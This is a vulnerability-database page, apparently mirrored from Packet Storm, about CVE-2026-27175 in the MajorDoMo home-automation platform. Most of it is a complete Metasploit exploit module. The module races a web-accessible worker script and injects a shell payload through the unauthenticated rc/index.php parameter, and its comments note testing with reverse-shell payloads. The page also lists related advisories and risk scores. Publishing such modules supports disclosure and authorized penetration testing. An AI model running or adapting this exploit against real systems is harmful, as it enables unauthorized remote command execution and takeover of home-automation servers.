Lucene search
K

📄 MajorDoMo Remote Command Injection / Race Condition

🗓️ 02 Mar 2026 00:00:00Reported by Valentin LobsteinType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 92 Views

Unauthenticated MajorDoMo rc handler injection enables race with worker to execute a batch file.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-27175
18 Feb 202621:10
attackerkb
Circl
CVE-2026-27175
18 Feb 202623:00
circl
CNNVD
MajorDoMo 操作系统命令注入漏洞
18 Feb 202600:00
cnnvd
CVE
CVE-2026-27175
18 Feb 202621:10
cve
Cvelist
CVE-2026-27175 MajorDoMo Command Injection in rc/index.php via Race Condition
18 Feb 202621:10
cvelist
Metasploit
MajorDoMo Remote Command Injection via cycle_execs Race Condition
2 Mar 202618:58
metasploit
NVD
CVE-2026-27175
18 Feb 202622:16
nvd
Positive Technologies
PT-2026-20511
18 Feb 202600:00
ptsecurity
Rapid7 Blog
Metasploit Wrap-Up 03/06/2026
6 Mar 202618:28
rapid7blog
RedhatCVE
CVE-2026-27175
20 Feb 202601:22
redhatcve
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'MajorDoMo Remote Command Injection via cycle_execs Race Condition',
            'Description' => %q{
              This module exploits an unauthenticated command injection vulnerability in MajorDoMo's
              remote command handler (rc/index.php). The param parameter is interpolated into double
              quotes without escapeshellarg(), and the resulting string is passed to safe_exec() which
              inserts it into the safe_execs database table with no sanitization.
    
              The cycle_execs.php worker script is web-accessible without authentication. On startup it
              purges the safe_execs queue, then enters an infinite loop polling the table every second
              and passing each command to exec(). A race condition is required: the worker must be
              started first (which purges existing entries), then the injection is performed while the
              worker is polling. The next iteration picks up and executes the attacker's payload.
    
              The command parameter must reference a valid .bat file in rc/commands/. The default
              MajorDoMo installation ships with shutdown.bat, displayon.bat, and displayoff.bat.
    
              All versions of MajorDoMo up to and including the latest release are affected.
              The fix is tracked in PR sergejey/majordomo#1177.
            },
            'Author' => [
              'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-27175'],
              ['URL', 'https://chocapikk.com/posts/2026/majordomo-revisited/'],
              ['URL', 'https://github.com/sergejey/majordomo/pull/1177']
            ],
            'Targets' => [
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command Shell',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                  # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Privileged' => false,
            'DisclosureDate' => '2026-02-18',
            'DefaultOptions' => {
              'RPORT' => 80
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to MajorDoMo', '/']),
          OptString.new('BAT_NAME', [true, 'Name of the .bat file in rc/commands/ (without extension)', 'shutdown'])
        ])
      end
    
      def check
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'rc', ''),
          'method' => 'GET',
          'vars_get' => { 'command' => datastore['BAT_NAME'] }
        )
        return CheckCode::Unknown('Failed to connect to the target.') unless res
    
        unless res.body.to_s.include?('OK')
          return CheckCode::Safe("rc/index.php did not return OK for command '#{datastore['BAT_NAME']}'")
        end
    
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'scripts', 'cycle_execs.php'),
          'method' => 'GET'
        )
    
        if res.nil? || res.code == 200
          return CheckCode::Vulnerable('Remote command handler and cycle_execs.php are both accessible without authentication')
        end
    
        CheckCode::Detected('Remote command handler is accessible but cycle_execs.php status is unclear')
      end
    
      def exploit
        # Bootstrap missing tables (cached_cycles) by hitting cycle.php.
        # cycle.php runs CREATE TABLE IF NOT EXISTS before entering its main loop.
        # The request blocks (infinite loop), so we fire it in a thread and give it
        # a few seconds to create the tables before moving on.
        print_status('Bootstrapping cycle tables via cycle.php...')
        bootstrap = Rex::ThreadFactory.spawn('CycleBootstrap', false) do
          send_request_cgi(
            'uri' => normalize_uri(target_uri.path, 'cycle.php'),
            'method' => 'GET'
          )
        end
        Rex.sleep(3)
        bootstrap.kill
    
        # Start the cycle worker in a background thread. The request blocks server-side
        # (while(1) loop), so we keep the connection alive to prevent PHP from aborting.
        print_status('Starting cycle_execs.php worker...')
        worker = Rex::ThreadFactory.spawn('CycleWorker', false) do
          send_request_cgi(
            'uri' => normalize_uri(target_uri.path, 'scripts', 'cycle_execs.php'),
            'method' => 'GET'
          )
        end
    
        # Give the worker time to purge the queue and enter the polling loop
        Rex.sleep(3)
    
        # Inject the payload into safe_execs via command injection in the param field
        print_status('Injecting payload via rc/index.php...')
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'rc', ''),
          'method' => 'GET',
          'vars_get' => {
            'command' => datastore['BAT_NAME'],
            'param' => "$(#{payload.encoded})"
          }
        )
    
        # The cycle worker creates a 'reboot' flag file that prevents future workers from polling
        register_file_for_cleanup('reboot')
    
        # Wait for the worker to poll and execute the payload
        print_status('Waiting for cycle worker to execute payload...')
        Rex.sleep(5)
    
        worker.kill
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Mar 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 49.2
CVSS 3.19.8
EPSS0.25968
SSVC
92